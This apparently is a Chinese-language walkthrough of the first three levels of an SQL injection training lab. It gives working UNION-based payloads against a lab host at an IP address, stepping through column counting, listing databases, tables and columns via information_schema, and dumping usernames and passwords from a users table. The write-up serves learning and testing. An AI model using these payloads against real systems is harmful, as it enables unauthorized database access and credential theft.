SQL注入

Less-1

输入：http://47.108.225.196/Less-1/?id=1

输入：http://47.108.225.196/Less-1/?id=1’
可以看到报错了，说明存在注入

输入：http://47.108.225.196/Less-1/?id=1’ order by 1–+
使用order by 语句判断有几列，前面页面回显正常，直到order by 4页面回显不正常，说明这个表有3列【–+在SQL内表示注释】


输入：http://47.108.225.196/Less-1/?id=-1’ union select 1,2,3 --+
可以看到2和3这两个位置有输出【union联合注入是将两个sql语句进行联合，当前一个语句选择的内容为空，就能显示后面语句的内容】

输入：http://47.108.225.196/Less-1/?id=-1’ union select 1,(select group_concat(schema_name) from information_schema.schemata) ,3–+
获取所有数据库名的信息

输入：http://47.108.225.196/Less-1/?id=-1’ union select 1,(select group_concat(table_name) from information_schema.tables where table_schema=‘security’),3 --+
获取security这个数据库中的表名信息

输入：http://47.108.225.196/Less-1/?id=-1’ union select 1,(select group_concat(column_name) from information_schema.columns where table_schema=‘security’ and table_name=‘users’),3 --+
获取users这个表的列名信息

输入：http://47.108.225.196/Less-1/?id=-1’ union select 1,(select group_concat(id,username,password) from security.users),3 --+
获取users表里面的字段内容

Less-2

输入：http://47.108.225.196/Less-2/?id=1’
判断注入点

输入：http://47.108.225.196/Less-2/?id=1 order by 3 --+
判断字段数

输入：http://47.108.225.196/Less-2/?id=-1 union select 1,2,3 --+
判断可显字段

后面的爆数据库名、数据表名、字段名、字段内容的步骤和less-1一样

Less-3

输入：http://47.108.225.196/Less-3/?id=1’
判断注入点

输入：http://47.108.225.196/Less-3/?id=1’)–+
构造id=1’)闭合前面的括号和引号，发现没有报错

输入：http://47.108.225.196/Less-3/?id=1’) order by 3–+
判断字段数

输入：http://47.108.225.196/Less-3/?id=-1’) union select 1,2,3 --+
判断可显字段

后面的爆数据库名、数据表名、字段名、字段内容的步骤也和less-1一样